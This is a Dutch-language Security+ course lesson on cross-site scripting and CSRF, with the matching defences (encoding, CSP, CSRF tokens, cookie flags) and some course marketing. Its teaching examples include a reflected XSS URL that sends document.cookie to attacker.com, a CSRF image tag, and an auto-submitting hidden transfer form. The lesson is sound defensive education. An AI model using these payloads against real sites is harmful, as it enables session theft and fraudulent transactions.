Cross-site scripting (XSS) en CSRF
Begrijp reflected, stored en DOM-based XSS, evenals cross-site request forgery-aanvallen, en leer welke browserbeveiligingen deze blokkeren.
Cross-site scripting (XSS) en CSRF is een gratis Security+ Academy-les op CoddyKit. Dit is les 2 van 4. Je kunt 3 lessen uit dit leerpad gratis volledig lezen — daarna ontgrendelt CoddyKit PRO alle lessen, plus praktische oefeningen met een ingebouwde code-editor en een AI-tutor die 24/7 beschikbaar is. Deze les maakt deel uit van het leertraject Security+ Academy. Je voortgang wordt gesynchroniseerd op het web en in de CoddyKit-app. De cursus Security+ Academy bevat in totaal 4 lessen.
Wat is Cross-Site Scripting?
Cross-Site Scripting (XSS) is een injectiekwetsbaarheid aan de clientzijde waarbij een aanvaller schadelijke scripts invoegt in webpagina's die door andere gebruikers worden bekeken. In tegenstelling tot SQL-injectie, die de server als doelwit heeft, richt XSS zich op de browser van het slachtoffer. Wanneer de browser het script van de aanvaller weergeeft, wordt het uitgevoerd met dezelfde rechten als legitieme scripts op de pagina. Hierdoor zijn sessiekaping, diefstal van inloggegevens en verspreiding van malware mogelijk.
Reflected XSS uitgelegd
Reflected XSS treedt op wanneer een schadelijk script in een URL is opgenomen en de server dit zonder de juiste codering onmiddellijk terugstuurt in het HTTP-antwoord. Het slachtoffer wordt ertoe misleid (vaak via een phishinglink) om op de samengestelde URL te klikken, waarna de browser het script van de aanvaller uitvoert. Reflected XSS is niet-persistent: het wordt alleen uitgevoerd wanneer het slachtoffer op de schadelijke link klikt.
# Malicious URL with reflected XSS payload
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
# Server reflects the query param unsanitized into the HTML:
# <p>Results for: <script>...</script></p>Stored XSS en DOM-gebaseerde XSS
Stored (persistent) XSS slaat een schadelijk script op in de database van de applicatie, bijvoorbeeld in een opmerking of forumbericht. Bij iedere gebruiker die deze inhoud bekijkt, wordt het script in de browser uitgevoerd. Daardoor is stored XSS veel gevaarlijker dan reflected XSS. DOM-gebaseerde XSS vindt volledig in de browser plaats wanneer JavaScript aan de clientzijde door een aanvaller beheerde gegevens uit de DOM leest (bijvoorbeeld het URL-fragment) en deze onveilig terugschrijft naar de pagina.
XSS-beveiliging: codering en CSP
De belangrijkste beveiliging tegen XSS is codering van uitvoer: zet speciale tekens om naar de bijbehorende HTML-entiteiten (<, >, &) voordat je ze in de browser weergeeft. Een Content Security Policy (CSP)-header beperkt welke scripts mogen worden uitgevoerd en biedt daarmee een belangrijke aanvullende beveiligingslaag. Ook moet invoer aan de serverzijde worden gevalideerd (met een allowlist).
# HTTP header — Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'
# Blocks inline scripts and restricts external script sourcesWat is Cross-Site Request Forgery?
Cross-Site Request Forgery (CSRF) maakt misbruik van het vertrouwen dat een website heeft in de browser van een geauthenticeerde gebruiker. Een aanvaller misleidt de browser van een slachtoffer zodat deze een ongewenst geauthenticeerd verzoek verstuurt naar een website waarop het slachtoffer is ingelogd. Omdat de browser sessiecookies automatisch meestuurt, beschouwt de doelserver het verzoek als legitiem. Veelvoorkomende CSRF-aanvallen maken geld over, wijzigen e-mailadressen of passen accountinstellingen aan.
Zo werkt een CSRF-aanval
Stel dat een gebruiker is ingelogd bij zijn bank op bank.com. Een aanvaller stuurt deze gebruiker een e-mail met een verborgen afbeeldingstag: <img src='https://bank.com/transfer?to=attacker&amount=1000'>. Wanneer de e-mail wordt geopend, laadt de browser de URL van de afbeelding automatisch. Daardoor wordt het verzoek om de overschrijving verstuurd met de sessiecookie van het slachtoffer. De bank verwerkt het als een legitiem verzoek.
<!-- Malicious hidden form on attacker's page -->
<form action='https://bank.com/transfer' method='POST' id='csrf'>
<input type='hidden' name='to' value='attacker_account' />
<input type='hidden' name='amount' value='5000' />
</form>
<script>document.getElementById('csrf').submit();</script>CSRF-beveiliging: tokens en SameSite
De effectiefste beveiliging tegen CSRF is een CSRF-token: een unieke, onvoorspelbare waarde die in elk formulier wordt opgenomen en aan de serverzijde wordt gecontroleerd. Omdat de aanvaller het token niet vanaf een andere oorsprong kan lezen (same-originbeleid), bevatten vervalste verzoeken geen geldig token en worden ze geweigerd. Het SameSite-cookiekenmerk (SameSite=Strict of Lax) voorkomt ook dat browsers cookies meesturen bij cross-site-verzoeken.
# Set SameSite cookie attribute
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly
# HTML hidden CSRF token in form
<input type='hidden' name='csrf_token' value='a8f3b2c7d1e4...' />XSS versus CSRF: belangrijkste verschillen
XSS en CSRF worden vaak met elkaar verward, maar richten zich op verschillende doelen. XSS voegt een schadelijk script in dat in de browser van het slachtoffer wordt uitgevoerd en maakt misbruik van het vertrouwen van de gebruiker in de website. CSRF vervalst verzoeken vanuit de browser van het slachtoffer naar een vertrouwde website en maakt misbruik van het vertrouwen van de website in de browser van de gebruiker. XSS kan worden gebruikt om CSRF-tokens te stelen, waardoor de twee kwetsbaarheden effectief aan elkaar kunnen worden gekoppeld.
HttpOnly- en Secure-cookievlaggen
Cookievlaggen bieden belangrijke beveiliging tegen XSS. De vlag HttpOnly voorkomt dat JavaScript via document.cookie toegang krijgt tot de cookie, waardoor het moeilijker wordt om sessietokens te stelen, zelfs als er XSS aanwezig is. De vlag Secure zorgt ervoor dat cookies alleen via HTTPS worden verzonden en voorkomt onderschepping via onversleutelde kanalen. Beide vlaggen moeten op alle sessiecookies worden ingesteld als onderdeel van een gelaagde beveiligingsaanpak.
Set-Cookie: sessionid=xyz789; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600Testen op XSS-kwetsbaarheden
Beveiligingstesters herkennen XSS door testpayloads in elk invoerveld, elke URL-parameter, elke HTTP-header en elk JSON-veld te injecteren. Een eenvoudige test is <script>alert(1)</script>: als er een waarschuwingsvenster verschijnt, is XSS bevestigd. Tools zoals Burp Suite automatiseren het scannen op XSS en OWASP ZAP biedt gratis actief scannen. Voor DOM-gebaseerde XSS is analyse van JavaScript in de browser nodig in plaats van controle van serverantwoorden.
Gevolgen van XSS in de praktijk
XSS-aanvallen hebben in de praktijk aanzienlijke schade veroorzaakt. De Samy-worm verspreidde zich in 2005 binnen 20 uur over MySpace door misbruik te maken van stored XSS en zichzelf naar meer dan één miljoen profielen te verspreiden. XSS-aanvallen kunnen sessietokens stelen om accounts volledig over te nemen, gebruikers doorsturen naar phishingwebsites, browserexploits verspreiden (drive-by-downloads) en de inhoud van pagina's wijzigen om doelgerichte gebruikers valse informatie te tonen.
Korte controle
Test je begrip van de CompTIA Security+-concepten (SY0-701) uit deze les.
Samenvatting van de les
In deze les heb je geleerd dat XSS scripts invoegt in pagina's die door andere gebruikers worden bekeken, dat CSRF geauthenticeerde browsers misleidt zodat ze vervalste verzoeken versturen en dat codering van uitvoer, CSP, CSRF-tokens en het SameSite-cookiekenmerk de belangrijkste beveiligingsmaatregelen zijn. Hierna behandelen we gebrekkige authenticatie en onveilige deserialisatie.
Leer Security+ Academy met een AI-tutor — gratis
Schrijf echte code en voer die uit in je browser, krijg direct hulp van een AI-tutor die 24/7 beschikbaar is en ga verder waar je gebleven bent op het web of in de app.
- Cursussen
- 30
- Lessen
- 120
Veelgestelde vragen
Is de les “Cross-site scripting (XSS) en CSRF” gratis?
Ja — je kunt hier op het web alle 3 lessen van het leerpad Security+ Academy, waaronder “Cross-site scripting (XSS) en CSRF”, gratis volledig lezen. Daarna ontgrendelt CoddyKit PRO alle lessen, plus interactieve oefeningen met een ingebouwde code-editor en een AI-tutor die 24/7 beschikbaar is. De cursus Security+ Academy bevat in totaal 4 lessen.
Wat leer ik in “Cross-site scripting (XSS) en CSRF”?
Begrijp reflected, stored en DOM-based XSS, evenals cross-site request forgery-aanvallen, en leer welke browserbeveiligingen deze blokkeren. Je oefent met Security+ Academy door code rechtstreeks in de browser uit te voeren. Een AI-begeleider die 24/7 beschikbaar is beantwoordt je vragen terwijl je de les doorwerkt.
Heb ik ervaring nodig om met Security+ Academy te beginnen?
Ervaring vooraf is niet nodig. Security+ Academy op CoddyKit is opgebouwd voor beginners tot gevorderden, zodat je hier of bij het begin kunt starten en in je eigen tempo kunt leren. Dit is les 2 van 4.
Hoe lang duurt de les “Cross-site scripting (XSS) en CSRF”?
De meeste lessen van CoddyKit duren ongeveer 5–10 minuten. Elke les is kort en interactief, zodat je gestaag vooruitgaat en op het web en in de app precies verdergaat waar je was gebleven.
Kan ik code schrijven en uitvoeren in deze les over Security+ Academy?
Ja. Elke les over Security+ Academy bevat een ingebouwde code-editor, zodat je rechtstreeks in je browser echte code kunt schrijven en uitvoeren en direct feedback van AI krijgt — lokale installatie is niet nodig.
Alle lessen in deze cursus
- SQL-injectie en command injection
- Cross-site scripting (XSS) en CSRF
- Gebrekkige authenticatie en onveilige deserialisatie
- Veilige SDLC-, SAST- en DAST-tools